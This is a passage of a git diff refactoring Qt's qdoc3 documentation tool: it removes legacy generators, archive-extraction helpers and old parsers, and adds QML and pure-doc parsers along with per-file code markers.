usedParsers.clear(); /* - Parse each source text file in the set and add it to the big tree. + Parse each source text file in the set using the appropriate parser and + add it to the big tree. */ QSet<QString>::ConstIterator s = sources.begin(); while (s != sources.end()) { - codeParser->parseSourceFile(config.location(), *s, tree); + CodeParser *codeParser = CodeParser::parserForSourceFile(*s); + if (codeParser) { + codeParser->parseSourceFile(config.location(), *s, tree); + usedParsers.insert(codeParser); + } ++s; } - codeParser->doneParsingSourceFiles(tree); + + foreach (CodeParser *codeParser, usedParsers) + codeParser->doneParsingSourceFiles(tree); /* Now the big tree has been built from all the header and @@ -358,7 +313,7 @@ static void processQdocconfFile(const QString &fileName) if (generator == 0) outputFormatsLocation.fatal(tr("Unknown output format '%1'") .arg(*of)); - generator->generateTree(tree, marker); + generator->generateTree(tree); ++of; } @@ -374,7 +329,6 @@ static void processQdocconfFile(const QString &fileName) Generator::terminate(); CodeParser::terminate(); CodeMarker::terminate(); - CppToQsConverter::terminate(); Doc::terminate(); Tokenizer::terminate(); Location::terminate(); @@ -401,52 +355,24 @@ int main(int argc, char **argv) #ifndef QT_BOOTSTRAPPED QCoreApplication app(argc, argv); #endif - QString cf = "qsauncompress \1 \2"; - PolyArchiveExtractor qsaExtractor(QStringList() << "qsa",cf); - cf = "tar -C \2 -xf \1"; - PolyArchiveExtractor tarExtractor(QStringList() << "tar",cf); - cf = "tar -C \2 -Zxf \1"; - PolyArchiveExtractor tazExtractor(QStringList() << "taz",cf); - cf = "tar -C \2 -jxf \1"; - PolyArchiveExtractor tbz2Extractor(QStringList() << "tbz" << "tbz2",cf); - cf = "tar -C \2 -zxf \1"; - PolyArchiveExtractor tgzExtractor(QStringList() << "tgz",cf); - cf = "unzip \1 -d \2"; - PolyArchiveExtractor zipExtractor(QStringList() << "zip",cf); - cf = "bunzip2 -c \1 > \2"; - PolyUncompressor bz2Uncompressor(QStringList() << "bz" << "bz2",cf); - cf = "gunzip -c \1 > \2"; - PolyUncompressor gzAndZUncompressor(QStringList() << "gz" << "z" << "Z",cf); - cf = "unzip -c \1 > \2"; - PolyUncompressor zipUncompressor(QStringList() << "zip",cf); /* Create code parsers for the languages to be parsed, and create a tree for C++. */ CppCodeParser cppParser; - Tree *cppTree = treeForLanguage(cppParser.language()); - - QsCodeParser qsParser(cppTree); - QsaKernelParser qsaKernelParser(cppTree); - JambiApiParser jambiParser(cppTree); + QmlCodeParser qmlParser; + PureDocParser docParser; /* - Create code markers for plain text, C++, Java, and qs. + Create code markers for plain text and C++. */ PlainCodeMarker plainMarker; CppCodeMarker cppMarker; - JavaCodeMarker javaMarker; - QsCodeMarker qsMarker; + JsCodeMarker jsMarker; + QmlCodeMarker qmlMarker; - ApiGenerator apiGenerator; HtmlGenerator htmlGenerator; - JavadocGenerator javadocGenerator; - LinguistGenerator linguistGenerator; - LoutGenerator loutGenerator; - ManGenerator manGenerator; - SgmlGenerator smglGenerator; - WebXMLGenerator webxmlGenerator; DitaXmlGenerator ditaxmlGenerator; QStringList qdocFiles; @@ -481,10 +407,6 @@ int main(int argc, char **argv) else if (opt == "-obsoletelinks") { obsoleteLinks = true; } - else if (opt == "-creator") - appArg = "creator"; - else if (opt == "-online") - appArg = "online"; else { qdocFiles.append(opt); } diff --git a/tools/qdoc3/mangenerator.cpp b/tools/qdoc3/mangenerator.cpp deleted file mode 100644 index 05fa3bf..0000000 --- a/tools/qdoc3/mangenerator.cpp +++ /dev/null @@ -1,228 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - mangenerator.cpp -*/ - -#include <qdatetime.h> -#include <qregexp.h> - -#include "mangenerator.h" -#include "node.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -ManGenerator::ManGenerator() -{ - date = QDate::currentDate().toString( "d MMMM yyyy" ); -} - -ManGenerator::~ManGenerator() -{ -} - -QString ManGenerator::format() -{ - return "man"; -} - -int ManGenerator::generateAtom( const Atom *atom, const Node * /* relative */, - CodeMarker * /* marker */ ) -{ -#if 0 - switch ( atom->type() ) { - case Atom::AbstractBegin: - break; - case Atom::AbstractEnd: - break; - case Atom::Alias: - break; - case Atom::AliasArg: - break; - case Atom::BaseName: - break; - case Atom::BriefBegin: - break; - case Atom::BriefEnd: - break; - case Atom::C: - break; - case Atom::CaptionBegin: - break; - case Atom::CaptionEnd: - break; - case Atom::CitationBegin: - break; - case Atom::CitationEnd: - break; - case Atom::Code: - break; - case Atom::FootnoteBegin: - break; - case Atom::FootnoteEnd: - break; - case Atom::FormatBegin: - break; - case Atom::FormatEnd: - break; - case Atom::GeneratedList: - break; - case Atom::Image: - break; - case Atom::ImageText: - break; - case Atom::Link: - break; - case Atom::LinkNode: - break; - case Atom::ListBegin: - break; - case Atom::ListItemNumber: - break; - case Atom::ListItemBegin: - out() << ".IP " << atom->string() << ".\n"; - break; - case Atom::ListItemEnd: - break; - case Atom::ListEnd: - break; - case Atom::Nop: - break; - case Atom::ParaBegin: - out() << ".PP\n"; - break; - case Atom::ParaEnd: - out() << "\n"; - break; - case Atom::RawFormat: - break; - case Atom::RawString: - break; - case Atom::SectionBegin: - break; - case Atom::SectionEnd: - break; - case Atom::SectionHeadingBegin: - break; - case Atom::SectionHeadingEnd: - break; - case Atom::SidebarBegin: - break; - case Atom::SidebarEnd: - break; - case Atom::String: - out() << protectTextLine( atom->string() ); - break; - case Atom::TableBegin: - break; - case Atom::TableEnd: - break; - case Atom::TableOfContents: - break; - case Atom::Target: - break; - case Atom::UnknownCommand: - ; - } -#endif - unknownAtom( atom ); - return 0; -} - -void ManGenerator::generateClassLikeNode( const InnerNode *classe, - CodeMarker *marker ) -{ - generateHeader( classe->name() ); - out() << ".SH NAME\n" - << classe->name() << "\n" - << ".SH SYNOPSYS\n"; - generateBody( classe, marker ); - generateFooter(); -} - -void ManGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker ) -{ - generateHeader( "foo" ); - generateBody( fake, marker ); - generateFooter(); -} - -QString ManGenerator::fileExtension(const Node * /* node */) const -{ - return "3qt"; -} - -void ManGenerator::generateHeader( const QString& name ) -{ - out() << ".TH " << protectArg( name ) - << " " << protectArg( "3qt" ) - << " " << protectArg( date ) - << " " << protectArg( "Nokia Corporation and/or its subsidiary(-ies)" ) - << " " << protectArg( "Qt Toolkit" ) << "\n"; -} - -void ManGenerator::generateFooter() -{ -} - -QString ManGenerator::protectArg( const QString& str ) -{ - for ( int i = 0; i < (int) str.length(); i++ ) { - if ( str[i] == ' ' || str[i].isSpace() ) { - QString quoted = str; - quoted.replace( "\"", "\"\"" ); - return "\"" + quoted + "\""; - } - } - return str; -} - -QString ManGenerator::protectTextLine( const QString& str ) -{ - QString t = str; - if ( t.startsWith(".") || t.startsWith("'") ) - t.prepend( "\\&" ); - return t; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index 34cbbdb..7195322 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -46,6 +46,7 @@ #include "node.h" #include "tree.h" #include "codemarker.h" +#include <QUuid> #include <qdebug.h> QT_BEGIN_NAMESPACE @@ -103,7 +104,6 @@ Node::Node(Type type, InnerNode *parent, const QString& name) { if (par) par->addChild(this); - //uuid = QUuid::createUuid(); } /*! @@ -270,14 +270,16 @@ QString Node::fileBase() const } /*! - Returns this node's Universally Unique IDentifier. - If its UUID has not yet been created, it is created - first. + Returns this node's Universally Unique IDentifier as a + QString. Creates the UUID first, if it has not been created. */ -QUuid Node::guid() const +QString Node::guid() const { - if (uuid.isNull()) - uuid = QUuid::createUuid(); + if (uuid.isEmpty()) { + QUuid quuid = QUuid::createUuid(); + QString t = quuid.toString(); + uuid = "id-" + t.mid(1,t.length()-2); + } return uuid; } @@ -1152,8 +1154,8 @@ QString Parameter::reconstruct(bool value) const if (!p.endsWith(QChar('*')) && !p.endsWith(QChar('&')) && !p.endsWith(QChar(' '))) p += " "; p += nam; - if (value) - p += def; + if (value && !def.isEmpty()) + p += " = " + def; return p; } @@ -1362,6 +1364,21 @@ QString FunctionNode::signature(bool values) const } /*! + Returns true if the node's status is Internal, or if its + parent is a class with internal status. + */ +bool FunctionNode::isInternal() const +{ + if (status() == Internal) + return true; + if (parent() && parent()->status() == Internal) + return true; + if (relates() && relates()->status() == Internal) + return true; + return false; +} + +/*! Print some debugging stuff. */ void FunctionNode::debug() const @@ -1545,11 +1562,6 @@ void QmlClassNode::clear() */ QString QmlClassNode::fileBase() const { -#if 0 - if (Node::fileBase() == "item") - qDebug() << "FILEBASE: qmlitem" << name(); - return "qml_" + Node::fileBase(); -#endif return Node::fileBase(); } @@ -1681,10 +1693,13 @@ static QString valueType(const QString& n) read-only. The algorithm for figuring this out is long amd tedious and almost certainly will break. It currently doesn't work for qmlproperty bool PropertyChanges::explicit, - because the tokenized gets confused on "explicit" . + because the tokenizer gets confused on "explicit". */ bool QmlPropertyNode::isWritable(const Tree* tree) const { + if (wri != Trool_Default) + return fromTrool(wri, false); + Node* n = parent(); while (n && n->subType() != Node::QmlClass) n = n->parent(); diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 4fcbade..aa7c78a 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -55,7 +55,6 @@ #include "doc.h" #include "location.h" #include "text.h" -#include <QUuid> QT_BEGIN_NAMESPACE @@ -87,8 +86,8 @@ class Node enum SubType { NoSubType, - Example, - HeaderFile, + Example, + HeaderFile, File, Image, Group, @@ -114,7 +113,7 @@ class Node Commendable, Main, Internal - }; // don't reorder thisw enum + }; // don't reorder this enum enum ThreadSafeness { UnspecifiedSafeness, @@ -165,6 +164,7 @@ class Node virtual bool isReimp() const { return false; } virtual bool isFunction() const { return false; } virtual bool isQmlNode() const { return false; } + virtual bool isInternal() const { return false; } Type type() const { return typ; } virtual SubType subType() const { return NoSubType; } InnerNode* parent() const { return par; } @@ -191,7 +191,7 @@ class Node void clearRelated() { rel = 0; } virtual QString fileBase() const; - QUuid guid() const; + QString guid() const; QString ditaXmlHref(); QString extractClassName(const QString &string) const; @@ -223,7 +223,7 @@ class Node QString u; QString sinc; QString tpl; - mutable QUuid uuid; + mutable QString uuid; }; class FunctionNode; @@ -637,6 +637,7 @@ class FunctionNode : public LeafNode virtual bool isQmlNode() const { return ((type() == QmlSignal) || (type() == QmlMethod)); } + virtual bool isInternal() const; void debug() const; diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 3e160c9..d5564f7 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -46,6 +46,7 @@ #include <qfile.h> #include <qfileinfo.h> #include <qdebug.h> +#include "codemarker.h" #include "pagegenerator.h" #include "tree.h" @@ -55,6 +56,7 @@ QT_BEGIN_NAMESPACE Nothing to do in the constructor. */ PageGenerator::PageGenerator() + : outputCodec(0) { // nothing. } @@ -175,9 +177,9 @@ bool PageGenerator::parseArg(const QString& src, /*! This function is recursive. */ -void PageGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void PageGenerator::generateTree(const Tree *tree) { - generateInnerNode(tree->root(), marker); + generateInnerNode(tree->root()); } QString PageGenerator::fileBase(const Node *node) const @@ -204,15 +206,15 @@ QString PageGenerator::fileBase(const Node *node) const #ifdef QDOC_QML /* To avoid file name conflicts in the html directory, - we prepend "qml-" to the file name of QML element doc - files. + we prepend a prefix (by default, "qml-") to the file name of QML + element doc files. */ if ((p->subType() == Node::QmlClass) || (p->subType() == Node::QmlBasicType)) { if (!base.startsWith(QLatin1String("QML:"))) - base.prepend("qml-"); + base.prepend(outputPrefix(QLatin1String("QML"))); } -#endif +#endif if (!pp || pp->name().isEmpty() || pp->type() == Node::Fake) break; base.prepend(QLatin1Char('-')); @@ -257,7 +259,12 @@ QString PageGenerator::fileBase(const Node *node) const return res; } -QString PageGenerator::fileName(const Node *node) const +/*! + If the \a node has a URL, return the URL as the file name. + Otherwise, construct the file name from the fileBase() and + the fileExtension(), and return the constructed name. + */ +QString PageGenerator::fileName(const Node* node) const { if (!node->url().isEmpty()) return node->url(); @@ -268,23 +275,37 @@ QString PageGenerator::fileName(const Node *node) const return name; } +/*! + Return the current output file name. + */ QString PageGenerator::outFileName() { - return QFileInfo(static_cast<QFile *>(out().device())->fileName()).fileName(); + return QFileInfo(static_cast<QFile*>(out().device())->fileName()).fileName(); } +/*! + Creates the file named \a fileName in the output directory. + Attaches a QTextStream to the created file, which is written + to all over the place using out(). + */ void PageGenerator::beginSubPage(const Location& location, const QString& fileName) { - QFile *outFile = new QFile(outputDir() + "/" + fileName); + QFile* outFile = new QFile(outputDir() + "/" + fileName); if (!outFile->open(QFile::WriteOnly)) - location.fatal(tr("Cannot open output file '%1'") - .arg(outFile->fileName())); - QTextStream *out = new QTextStream(outFile); - out->setCodec(outputCodec); + location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName())); + QTextStream* out = new QTextStream(outFile); + + if (outputCodec) + out->setCodec(outputCodec); outStreamStack.push(out); } +/*! + Flush the text stream associated with the subpage, and + then pop it off the text stream stack and delete it. + This terminates output of the subpage. + */ void PageGenerator::endSubPage() { outStreamStack.top()->flush(); @@ -292,16 +313,21 @@ void PageGenerator::endSubPage() delete outStreamStack.pop(); } +/*! + Used for writing to the current output stream. Returns a + reference to the crrent output stream, which is then used + with the \c {<<} operator for writing. + */ QTextStream &PageGenerator::out() { return *outStreamStack.top(); } /*! - Recursive writing of html files from the root \a node. + Recursive writing of HTML files from the root \a node. */ void -PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) +PageGenerator::generateInnerNode(const InnerNode* node) { if (!node->url().isNull()) return; @@ -320,6 +346,11 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) } } + /* + Obtain a code marker for the source file. + */ + CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath()); + if (node->parent() != 0) { beginSubPage(node->location(), fileName(node)); if (node->type() == Node::Namespace || node->type() == Node::Class) { @@ -334,7 +365,7 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { if ((*c)->isInnerNode() && (*c)->access() != Node::Private) - generateInnerNode((const InnerNode *) *c, marker); + generateInnerNode((const InnerNode *) *c); ++c; } } diff --git a/tools/qdoc3/pagegenerator.h b/tools/qdoc3/pagegenerator.h index 602a061..27e483b 100644 --- a/tools/qdoc3/pagegenerator.h +++ b/tools/qdoc3/pagegenerator.h @@ -48,14 +48,12 @@ #include <QStack> #include <qtextstream.h> - #include "generator.h" #include "location.h" QT_BEGIN_NAMESPACE class QTextCodec; - class ClassNode; class InnerNode; class NamespaceNode; @@ -66,16 +64,16 @@ class PageGenerator : public Generator PageGenerator(); ~PageGenerator(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); protected: - virtual QString fileBase(const Node *node) const; - virtual QString fileExtension(const Node *node) const = 0; - QString fileName(const Node *node) const; + virtual QString fileBase(const Node* node) const; + virtual QString fileExtension(const Node* node) const = 0; + QString fileName(const Node* node) const; QString outFileName(); - void beginSubPage(const Location& location, const QString& fileName); - void endSubPage(); - virtual void generateInnerNode(const InnerNode *node, CodeMarker *marker); + virtual void beginSubPage(const Location& location, const QString& fileName); + virtual void endSubPage(); + virtual void generateInnerNode(const InnerNode *node); QTextStream& out(); QString naturalLanguage; @@ -89,7 +87,7 @@ class PageGenerator : public Generator QStringRef* par1 = 0, bool debug = false); - private: + protected: QStack<QTextStream*> outStreamStack; }; diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp index b3eae80..edeee39 100644 --- a/tools/qdoc3/plaincodemarker.cpp +++ b/tools/qdoc3/plaincodemarker.cpp @@ -66,6 +66,11 @@ bool PlainCodeMarker::recognizeLanguage( const QString& /* lang */ ) return false; } +Atom::Type PlainCodeMarker::atomType() const +{ + return Atom::Code; +} + QString PlainCodeMarker::plainName( const Node * /* node */ ) { return ""; @@ -78,7 +83,7 @@ QString PlainCodeMarker::plainFullName(const Node * /* node */, const Node * /* QString PlainCodeMarker::markedUpCode( const QString& code, const Node * /* relative */, - const QString& /* dirPath */ ) + const Location & /* location */ ) { return protect( code ); } diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h index bc63b86..3c39e12 100644 --- a/tools/qdoc3/plaincodemarker.h +++ b/tools/qdoc3/plaincodemarker.h @@ -59,9 +59,10 @@ public: bool recognizeCode( const QString& code ); bool recognizeExtension( const QString& ext ); bool recognizeLanguage( const QString& lang ); + Atom::Type atomType() const; QString plainName( const Node *node ); QString plainFullName( const Node *node, const Node *relative ); - QString markedUpCode( const QString& code, const Node *relative, const QString& dirPath ); + QString markedUpCode( const QString& code, const Node *relative, const Location &location ); QString markedUpSynopsis( const Node *node, const Node *relative, SynopsisStyle style ); QString markedUpName( const Node *node ); diff --git a/tools/qdoc3/polyarchiveextractor.cpp b/tools/qdoc3/polyarchiveextractor.cpp deleted file mode 100644 index 3594258..0000000 --- a/tools/qdoc3/polyarchiveextractor.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyarchiveextractor.cpp -*/ - -#include "command.h" -#include "polyarchiveextractor.h" - -QT_BEGIN_NAMESPACE - -/*! - \class PolyArchiveExtractor - - \brief The PolyArchiveExtractor class is a class for unpacking - archive files. - - This subclass of ArchiveExtractor contains a parameterized - command for doing the archive extraction. - - It has an extractArchive() function you call to do the - actual archive extraction. - */ - -/*! - The constructor takes the list of filename \a extensions, - which it passes to the base class, and the \a commandFormat, - which it stores locally. The \a commandFormat is a command - template string. - */ -PolyArchiveExtractor::PolyArchiveExtractor( const QStringList& extensions, - const QString& commandFormat ) - : ArchiveExtractor( extensions ), cmd( commandFormat ) -{ -} - -/*! - The destructor doesn't have to do anything. - */ -PolyArchiveExtractor::~PolyArchiveExtractor() -{ -} - -/*! - Call this function to do the actual archive extraction. It calls - the executeCommand() function to do the work. That's all it does. - */ -void PolyArchiveExtractor::extractArchive( const Location& location, - const QString& filePath, - const QString& outputDir ) -{ - executeCommand( location, cmd, QStringList() << filePath << outputDir ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/polyarchiveextractor.h b/tools/qdoc3/polyarchiveextractor.h deleted file mode 100644 index 29cc51b..0000000 --- a/tools/qdoc3/polyarchiveextractor.h +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyarchiveextractor.h -*/ - -#ifndef POLYARCHIVEEXTRACTOR_H -#define POLYARCHIVEEXTRACTOR_H - -#include "archiveextractor.h" - -QT_BEGIN_NAMESPACE - -class PolyArchiveExtractor : public ArchiveExtractor -{ - public: - PolyArchiveExtractor(const QStringList& extensions, - const QString& commandFormat); - ~PolyArchiveExtractor(); - - virtual void extractArchive(const Location& location, - const QString& filePath, - const QString& outputDir); - - private: - QString cmd; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/polyuncompressor.cpp b/tools/qdoc3/polyuncompressor.cpp deleted file mode 100644 index b67c8fe..0000000 --- a/tools/qdoc3/polyuncompressor.cpp +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "command.h" -#include "polyuncompressor.h" - -QT_BEGIN_NAMESPACE - -/*! - \class PolyUncompressor - - \brief The PolyUncompressor class is a class for uncompressing - compressed files. - - This subclass of Uncompressor contains a parameterized - command for doing the uncompression - - It has an uncompressFile() function you call to do the - actual uncompression. - */ - -/*! - The constructor takes the list of filename \a extensions, - which it passes to the base class, and the \a commandFormat, - which it stores locally. The \a commandFormat is a command - template string. - */ -PolyUncompressor::PolyUncompressor( const QStringList& extensions, - const QString& commandFormat ) - : Uncompressor( extensions ), cmd( commandFormat ) -{ -} - -/*! - The destructor doesn't have to do anything. - */ -PolyUncompressor::~PolyUncompressor() -{ -} - -/*! - From \a filePath, derive a file path for the uncompressed - file and return it. If it can't figure out what the file - path should be, it just concatenates ".out" to the - \a filePath and returns that. - */ -QString PolyUncompressor::uncompressedFilePath( const QString& filePath ) -{ - QStringList::ConstIterator e = fileExtensions().begin(); - while ( e != fileExtensions().end() ) { - QString dotExt = "." + *e; - if ( filePath.endsWith(dotExt) ) - return filePath.left( filePath.length() - dotExt.length() ); - ++e; - } - return filePath + ".out"; // doesn't really matter -} - -/*! - Call this function to do the actual uncompressing. It calls - the executeCommand() function to do the work. That's all it does. - */ -void PolyUncompressor::uncompressFile( const Location& location, - const QString& filePath, - const QString& outputFilePath ) -{ - executeCommand( location, cmd, - QStringList() << filePath << outputFilePath ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/polyuncompressor.h b/tools/qdoc3/polyuncompressor.h deleted file mode 100644 index c485d04..0000000 --- a/tools/qdoc3/polyuncompressor.h +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyuncompressor.h -*/ - -#ifndef POLYUNCOMPRESSOR_H -#define POLYUNCOMPRESSOR_H - -#include "uncompressor.h" - -QT_BEGIN_NAMESPACE - -class PolyUncompressor : public Uncompressor -{ - public: - PolyUncompressor(const QStringList& extensions, - const QString& commandFormat); - ~PolyUncompressor(); - - virtual QString uncompressedFilePath(const QString& filePath); - virtual void uncompressFile(const Location& location, - const QString& filePath, - const QString& outputFilePath); - - private: - QString cmd; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/loutgenerator.cpp b/tools/qdoc3/puredocparser.cpp index 3a6a078..7b203cf 100644 --- a/tools/qdoc3/loutgenerator.cpp +++ b/tools/qdoc3/puredocparser.cpp @@ -40,24 +40,24 @@ ****************************************************************************/ /* - loutgenerator.cpp + puredocparser.cpp */ -#include "loutgenerator.h" +#include "puredocparser.h" QT_BEGIN_NAMESPACE -LoutGenerator::LoutGenerator() +PureDocParser::PureDocParser() { } -LoutGenerator::~LoutGenerator() +PureDocParser::~PureDocParser() { } -QString LoutGenerator::format() +QStringList PureDocParser::sourceFileNameFilter() { - return "lout"; + return QStringList("*.qdoc"); } QT_END_NAMESPACE diff --git a/tools/qdoc3/ccodeparser.h b/tools/qdoc3/puredocparser.h index af004b8..e0b41ab 100644 --- a/tools/qdoc3/ccodeparser.h +++ b/tools/qdoc3/puredocparser.h @@ -40,25 +40,31 @@ ****************************************************************************/ /* - ccodeparser.h + puredocparser.h */ -#ifndef CCODEPARSER_H -#define CCODEPARSER_H +#ifndef PUREDOCPARSER_H +#define PUREDOCPARSER_H + +#include <QSet> #include "cppcodeparser.h" +#include "location.h" QT_BEGIN_NAMESPACE -class CCodeParser : public CppCodeParser +class Config; +class Node; +class QString; +class Tree; + +class PureDocParser : public CppCodeParser { public: - CCodeParser(); - ~CCodeParser(); + PureDocParser(); + virtual ~PureDocParser(); - virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); + virtual QStringList sourceFileNameFilter(); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index d47e066..2fedc0f 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -24,98 +24,72 @@ build_all:!build_pass { } CONFIG -= app_bundle -HEADERS += apigenerator.h \ - archiveextractor.h \ - atom.h \ - bookgenerator.h \ - ccodeparser.h \ +HEADERS += atom.h \ codechunk.h \ codemarker.h \ codeparser.h \ - command.h \ config.h \ cppcodemarker.h \ cppcodeparser.h \ - cpptoqsconverter.h \ - dcfsection.h \ ditaxmlgenerator.h \ doc.h \ editdistance.h \ generator.h \ helpprojectwriter.h \ htmlgenerator.h \ - jambiapiparser.h \ - javacodemarker.h \ - javadocgenerator.h \ - linguistgenerator.h \ + jscodemarker.h \ location.h \ - loutgenerator.h \ - mangenerator.h \ node.h \ openedlist.h \ pagegenerator.h \ plaincodemarker.h \ - polyarchiveextractor.h \ - polyuncompressor.h \ - qsakernelparser.h \ - qscodemarker.h \ - qscodeparser.h \ + puredocparser.h \ + qmlcodemarker.h \ + qmlcodeparser.h \ + qmlmarkupvisitor.h \ + qmlvisitor.h \ quoter.h \ separator.h \ - sgmlgenerator.h \ text.h \ tokenizer.h \ tr.h \ - tree.h \ - uncompressor.h \ - webxmlgenerator.h -SOURCES += apigenerator.cpp \ - archiveextractor.cpp \ - atom.cpp \ - bookgenerator.cpp \ - ccodeparser.cpp \ + tree.h +SOURCES += atom.cpp \ codechunk.cpp \ codemarker.cpp \ codeparser.cpp \ - command.cpp 